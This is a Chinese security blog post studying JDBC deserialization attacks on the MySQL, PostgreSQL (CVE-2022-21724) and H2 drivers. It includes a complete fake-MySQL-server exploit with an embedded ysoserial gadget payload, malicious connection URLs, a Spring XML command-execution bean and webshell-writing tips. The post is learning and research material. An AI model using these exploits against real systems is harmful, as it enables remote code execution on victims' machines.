java反序列化 java反序列化之JDBC Sherlock 2025-04-06 2025-04-18 引用 WebDog必学的JDBC反序列化
JDBC反序列化漏洞分析
小白看得懂的MySQL JDBC 反序列化漏洞分析
Java安全之JDBC Attacks学习记录
JDBC简介 BC(Java DataBase Connectivity)是一种用于执行Sql语句的Java Api,即Java数据库连接,是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,可以为多种关系数据库提供统一访问,提供了诸如查询和更新数据库中数据的方法,是Java访问数据库的标准规范。简单理解为链接数据库、对数据库操作都需要通过jdbc来实现
原理分析 简单demo 首先我们先在maven引入依赖
1 2 3 4 5 <dependency > <groupId > mysql</groupId > <artifactId > mysql-connector-java</artifactId > <version > 8.0.19</version > </dependency >
我们试着用jdbc来查询一下我们自己本机上的表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package org.example;import java.sql.*;public class Main { public static void main (String[] args) throws ClassNotFoundException, SQLException { String driver = "com.mysql.cj.jdbc.Driver" ; String url = "jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=UTC&autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor" ; Class.forName(driver); Connection connection = DriverManager.getConnection(url,"root" ,"123456" ); Statement statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery("SELECT * FROM users" ); while (resultSet.next()){ String username = resultSet.getString("name" ); String password = resultSet.getString("age" ); System.out.println(" username:" +username+" password:" +password); } } }
说一下数据库连接的一些配置吧
admin就是所需要连接的数据库名称
serverTimezone=UTC 指定了数据库服务器的时区为协调世界时(UTC)没有正确的时间处理,运行是会报错的
autoDeserialize=true 表明从数据库中检索数据会自动反序列化,这个设置很重要,设置为false就没法利用了
statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor 指定了一个Mysql的语句拦截器,用于在执行sql语句前处理特殊事件
查询结果如下
java序列化对象特征 我们也简单写一个demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package org.example;import java.io.*;public class Car implements Serializable { private String name; public Car () { this .name ="car" ; } public static void main (String[] args) throws IOException, FileNotFoundException { Car car=new Car (); FileOutputStream fos = new FileOutputStream ("output" ); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(car); oos.close(); } }
输出output文件后,再用专门的软件进行查看该16进制文件
可以看出来序列化文件的前两个字节固定为-84
和-19
,这一点在后面有重大作用
readObject触发点 这次就不跟着走一遍流程了,直接说重点,漏洞点在于com.mysql.cj.jdbc.result.ResultSetImpl.getObject()
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关键点如下:
在进入反序列化之前先进行了一个判断if ((data[0] == -84) && (data[1] == -19))
是不是特别的熟悉,就是上面着重提到的那两个数字
先判断是否为序列化对象,是的话才能够进入并调用readObject方法
查找getObject的用法
在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()
中调用了,跟进看看:
跟进ResultSetUtil.resultSetToMap(toPopulate, rs);
,调用了getObject方法
很好,现在我们只需要搞清楚上面的toPopulate和rs究竟是什么就可以了
toPopulate是一个Map类型的数据
rs实际上是服务端执行SQL语句SHOW SESSION STATUS
后返回的结果,那么这就让我们不由得联想恶意mysql服务端了,如果有这么一个evil mysql,可以控制rs的值,那么可能就可以触发反序列化链了
我们回到前面的getObject方法中,在判断是否是序列化对象之前还进行了一个判断,校验autoDeserialize的值是否为true,这也是JDBC URL中为啥要特地声明该值为true的原因
Mysql认证报文 先写一手客户端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 package org.example;import java.sql.*;public class Client { public static void main (String[] args) throws ClassNotFoundException, SQLException { String Driver = "com.mysql.cj.jdbc.Driver" ; String DB_URL = "jdbc:mysql://127.0.0.1:3306/admin?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true&serverTimezone=GMT%2B8" ; Class.forName(Driver); Connection conn = DriverManager.getConnection(DB_URL,"root" ,"123456" ); } }
然后要用wireshark进行抓包,因为是抓本地的包,所以过滤器要选择这个
过滤条件为tcp.port ==3306 && mysql
:
不难发现其实mysql也是有类似tcp一样的认证系统的,有Request和Response,简单的看一个Response OK包:
MYSQL Protocol就是认证报文了为0700000200000002000000
,也就是说我们恶意服务端只需要将该数据返回给Request即可完成认证,再看看问候(greeting)报文:
直接发送原始数据即可,恶意服务端可以将这部分改为恶意payload,之后进行反序列化
ServerStatusDiffInterceptor链 8.0.7-8.0.20 上面讲的其实就是该链
所以我们继续顺着上面的思路走,需要准备一个恶意mysql服务端:
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false" ) payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878' return payload_content def run (): while 1 : conn, addr = sk.accept() print ("Connection come from {}:{}" .format (addr[0 ],addr[1 ])) send_data(conn,greeting_data) while True : receive_data(conn) send_data(conn,response_ok_data) data=receive_data(conn) if "session.auto_increment_increment" in data: _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000' send_data(conn,_payload) data=receive_data(conn) elif "show warnings" in data: _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000' send_data(conn, _payload) data = receive_data(conn) if "set names" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "set character_set_results" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "show session status" in data: mysql_data = '0100000102' mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000' mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000' //获取payload payload_content=get_payload_content() //计算payload长度 payload_length = str (hex (len (payload_content)//2 )).replace('0x' , '' ).zfill(4 ) payload_length_hex = payload_length[2 :4 ] + payload_length[0 :2 ] //计算数据包长度 data_len = str (hex (len (payload_content)//2 + 4 )).replace('0x' , '' ).zfill(6 ) data_len_hex = data_len[4 :6 ] + data_len[2 :4 ] + data_len[0 :2 ] mysql_data += data_len_hex + '04' + 'fbfc' + payload_length_hex mysql_data += str (payload_content) mysql_data += '07000005fe000022000100' send_data(conn, mysql_data) data = receive_data(conn) if "show warnings" in data: payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000' send_data(conn, payload) break if __name__ == '__main__' : HOST ='0.0.0.0' PORT = 3309 sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) sk.bind((HOST, PORT)) sk.listen(1 ) print ("start fake mysql server listening on {}:{}" .format (HOST,PORT)) run()
上面poc的编写中,除了show session status
的响应包外,剩下的包都可以直接按流量包总的数据直接抄过来的
show session status响应包的编写 刚开始觉得是不需要了解MYSQL私有协议的,结果我错了。如果要自己编写POC,还是要看得懂的。这里会简单分析一下。 从流量中可以看出来show session status
属于request Query 报文。对于查询数据包的响应包可以分为四种:错误包(ERR Packet)、正确包(OK Packet)、 Protocol::LOCAL_INFILE_Request、结果集(ProtocolText::Resultset)。我们上面看到的Response OK 数据包就是OK packet 。 这一部分我们主要是用的是结果集 这个数据包。这里给出官方例子 结果集响应包的结构如图所示
上面的官方图说明了一个结果集响应包的结构。
数据段1:说明下面的结果集有多少列
数据段2:列的定义
数据段3: EOF 包
数据段4:行数据
数据段的结构也是相似的。 长度(3字节) 序号(1字节) 协议数据(不同协议,数据不同)
数据段1就可以写成01 00 00 01 02
前三字节表示数据长度为1,sequence id为1,最后一字节02表示有两列(因为尝试写一列无法正常运行)
数据段2列的定义就比较复杂了。拿我写好的数据直接分析吧1a000002036465660001630163016301630c3f00ffff0000fcffff000000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 1a 00 00 //3字节表示长度(这个长度说的是协议的内容长度,不包括序号那一字节) 02 //序号 因为是第二个数据字段 03646566 // 这个就是def的意思 00 //schema 协议因为不使用就用00 01 63 //table 因为我们使用列数据,就不需要名字了,下面几个都是任意字符。字符串第一字节是用来说明长度的 01 63 //org_table 01表示1字节,63是数据 0163 //name 0163 //org_name 0c filler // length of the following fields 总是0x0c 3f00 //characterset 字符编码 003f是binary ffff0000 column_length //允许数据最大长度,就是我们行数据的最大长度。ffff fc //column_type 这一列数据类型 fc表示blob 9000 //flags 9000用的官方的 poc可以运行。 看fnmsd的要大于128好像。 00 //decimals 0000 //filler_2
我的POC没有写 EOF包,不知道为什么加上就无法复现成功。(希望有人解答)
数据字段4就是POC了。POC其实和上面一样的。计算出长度(3字节)序号(1字节)行数据(行数据第一个字节是数据的长度)
POC使用ysoserial 。 java -jar ysoserial [common7那个] "calc" > a
有了上面的知识再去看POC就很简单了
客户端代码
1 2 3 4 5 6 7 8 9 10 11 import java.sql.*;public class Client { public static void main (String[] args) throws ClassNotFoundException, SQLException { String driver = "com.mysql.cj.jdbc.Driver" ; String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true" ; Class.forName(driver); Connection conn = DriverManager.getConnection(DB_URL); } }
由于上面恶意mysql服务端用上的是cc链,所以要确保客户端代码处有添加cc依赖(笔者漏了这一点导致当初被卡了好久)
跟着调试一手
跟进getConnection方法
又调用了一个getConnection方法,继续跟进
一直往下走
跟进connect方法
继续跟进getInstance方法
初始化ConnectionImpl,参数hostInfo就是恶意mysql服务端的一些数据
跟进,前面大部分代码都是初始化以及赋值,进入initializeSafeQueryInterceptors();
初始化请求监听器
再往下走到createNewIO方法
跟进去
跟进connectTryOnly方法,往下走到此处
跟进去,发现拦截器是我们在参数queryInterceptors指定的ServerStatusDiffInterceptor类
返回,继续往下走,继续初始化initializePropsFromServer();
跟进去,往下走
跟进handleAutoCommitDefaults();
调用setAutoCommit方法,跟进去,继续往下走
调用execSQL执行SQL语句,跟进,往下走
发送SQL请求数据包,跟进sendQueryString方法
跟进
调用invokeQueryInterceptorsPre方法,跟进
调用preProcess方法,其参数sql就是设置autocommit的值为true,跟进
跟进populateMapWithSessionStatusValues方法
熟悉吧,就是前面我们提到的漏洞点
调用ResultSetUtil.resultSetToMap(toPopulate, rs)
,这里的rs就是恶意的SQL服务端返回的数据
然后就是调用getObject进行反序列化,这就是最开始分析的一条链子,这里的jdbc版本是8,低版本大致流程也是这样,只有少数异同点,但最后都是进入getObject方法触发反序列化
5.1.0-5.1.10 1 2 3 4 5 6 7 8 9 String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc" ;String username = "yso_CommonsCollections4_calc" ;String password = "" ;Class.forName("com.mysql.jdbc.Driver" ); conn = DriverManager.getConnection(url,username,password); String sql = "select database()" ;PreparedStatement ps = conn.prepareStatement(sql);ResultSet resultSet = ps.executeQuery();
payload如上
5.1.11-5.x.xx 1 2 3 4 5 String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc" ;String username = "yso_CommonsCollections4_calc" ;String password = "" ;Class.forName("com.mysql.jdbc.Driver" ); conn = DriverManager.getConnection(url,username,password);
6.x 1 2 3 4 5 String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc" ;String username = "yso_CommonsCollections4_calc" ;String password = "" ;Class.forName("com.mysql.jdbc.Driver" ); conn = DriverManager.getConnection(url,username,password);
8.20以后 这以后进入populateMapWithSessionStatusValues
后不会再调用getObject,因此直接GG
detectCustomCollations链 详见:https://boogipop.com/2023/03/11/WebDog%E5%BF%85%E5%AD%A6%E7%9A%84JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E4%B8%89%E3%80%81detectCustomCollations%E9%93%BE
感觉利用范围不是很大,先旷,后面有用到再学。。。。。。
PostgreSQL postgresql简单使用:https://www.runoob.com/postgresql/windows-install-postgresql.html
同理PostgreSQL的property也存在安全问题CVE-2022-21724
在 PostgreSQL 数据库的 jdbc 驱动程序中发现一个安全漏洞。当攻击者控制 jdbc url 或者属性时,使用 PostgreSQL 数据库的系统将受到攻击。 pgjdbc 根据通过 authenticationPluginClassName
、sslhostnameverifier
、socketFactory
、sslfactory
、sslpasswordcallback
连接属性提供类名实例化插件实例。但是,驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。
影响范围:
9.4.1208 <=PgJDBC <42.2.25
42.3.0 <=PgJDBC < 42.3.2
这里主要记录两个点
socketFactory / socketFactoryArg 等property调用有参构造触发的RCE
loggerLevel / loggerFile 日志功能写文件
所需依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <dependencies > <dependency > <groupId > org.postgresql</groupId > <artifactId > postgresql</artifactId > <version > 42.3.1</version > </dependency > <dependency > <groupId > org.springframework</groupId > <artifactId > spring-context</artifactId > <version > 5.3.16</version > </dependency > </dependencies >
socketFactory/socketFactoryArg 恶意xml文件,利用了 Spring 框架的依赖注入机制来执行 Windows 系统命令(弹出计算器 calc.exe
)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:p ="http://www.springframework.org/schema/p" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="exec" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > cmd</value > <value > /c</value > <value > calc.exe</value > </list > </constructor-arg > </bean > </beans >
测试代码
1 2 3 4 5 6 7 8 9 10 public class AttackPgsqlsocketFactory { public static void main (String[] args) throws Exception { String URL = "jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:8001/calc.xml" ; DriverManager.registerDriver(new Driver ()); Connection connection = DriverManager.getConnection(URL); connection.close(); } }
调试
堆栈如下:
1 2 3 4 5 6 7 8 9 10 instantiate:62, ObjectFactory (org.postgresql.util) getSocketFactory:39, SocketFactoryFactory (org.postgresql.core) openConnectionImpl:184, ConnectionFactoryImpl (org.postgresql.core.v3) openConnection:51, ConnectionFactory (org.postgresql.core) <init>:225, PgConnection (org.postgresql.jdbc) makeConnection:466, Driver (org.postgresql) connect:265, Driver (org.postgresql) getConnection:664, DriverManager (java.sql) getConnection:270, DriverManager (java.sql) main:14, AttackPgsqlsocketFactory (org.example)
跟进getConnection方法之后,一直往下走
跟进connect方法,前面做了一定的判断之后,往下走
跟进parseURL方法,该方法是对jdbc字符串进行处理
以indexof?
作为分割符,拿到properties参数,后续将结果保存为Properties
对象返回
返回后继续往下走,跟进makeConnection方法,顾名思义就是要开始建立联系
跟进PgConnection方法
又进行了一次赋值之后,继续往下走
跟进openConnection方法
初始化一个ConnectionFactory对象之后,调用其openConnectionImpl方法,跟进去
跟进getSocketFactory方法,先从前面解析jdbc串时 return的Properties
对象中,获取socketFactory
的类名,也就是org.springframework.context.support.ClassPathXmlApplicationContext
之后调用instantiate
对其实例化处理,也就是漏洞触发点
这里是一个任意类实例化的点,可以调用只有1个入参,参数类型为String的有参构造进行实例化
弹出计算器
loggerLevel/loggerFile poc
1 2 3 jdbc:postgresql: driver=org.postgresql.Driver&url=jdbc:postgresql:
这个点不算复杂的,是log功能写文件,只是提一下写shell需要注意的一个地方,文件内容在下图地方会有一个处理
这里构造数据包时可以通过unicode编码shell内容=
来进行shell写入,通过本身代码逻辑,让=
截断掉前面的shell内容绕过URLDecoder的处理。其他的方式应该也可以,只要让=
第一次出现的位置位于shell内容后面或者shell内容中不存在会让URLDecoder.decode
抛异常的字符即可。
例如
1 <%! \uxxx\uxxx%><%\uxxx%>
H2 h2配置
1 2 spring.h2.console.enabled =true spring.h2.console.settings.web-allow-others =true
而h2本身的console界面也是可以通过jdbc连接串来进行jndi利用的
https://www.cnblogs.com/CoLo/p/17051019.html#h2
先搁一下。。。。。。